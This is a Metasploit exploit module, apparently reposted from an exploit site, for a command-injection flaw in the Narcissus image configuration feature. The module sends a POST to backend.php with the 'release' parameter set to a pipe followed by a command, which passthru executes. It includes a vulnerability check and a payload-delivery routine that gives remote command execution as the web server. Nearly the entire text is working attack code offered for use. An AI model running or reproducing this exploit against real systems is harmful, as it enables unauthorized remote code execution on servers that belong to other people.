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Narcissus Image Configuration Passthru Vulnerability
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Narcissus Image Configuration Passthru Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Narcissus image configuration function. This is due to the backend.php file not handling the $release parameter properly, and then passes it on to the configure_image() function. In this function, the $release parameter can be used to inject system commands for passthru (a PHP function that's meant to be used to run a bash script by the vulnerable application), which allows remote code execution under the context of the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dun', #Original 'sinn3r' #Metasploit ], 'References' => [ [ 'EDB', '22709' ], [ 'BID', '87410' ] ], 'Payload' => { 'BadChars' => "\x00\x0d\x0a" }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby python bash netcat-e' }, 'Targets' => [ ['Narcissus', {}] ], 'Privileged' => false, 'DisclosureDate' => "Nov 14 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the web application', '/narcissus-master/']) ], self.class) end def base uri = target_uri.path uri << '/' if uri[-1,1] != '/' return uri end def peer "#{rhost}:#{rport}" end def remote_exe(command) res = send_request_cgi({ 'uri' => "#{base}backend.php", 'method' => 'POST', 'encode_params' => false, 'vars_post' => { 'machine' => '0', 'action' => 'configure_image', 'release' => "|#{command}" } }) vprint_line(res.body) if res return res end def check sig = rand_text_alpha(rand(10) + 5) #The string to check print_status("#{peer} - Looking for signature '#{sig}'...") res = remote_exe("echo #{sig}") if res and res.body =~ /#{sig}/ print_status("#{peer} - Signature '#{sig}' found.") return Exploit::CheckCode::Vulnerable else print_status("#{peer} - Signature not found") return Exploit::CheckCode::Safe end end def exploit print_status("#{peer} - Sending malicious request...") remote_exe(payload.encoded) end end # 0day.today [2024-09-19] #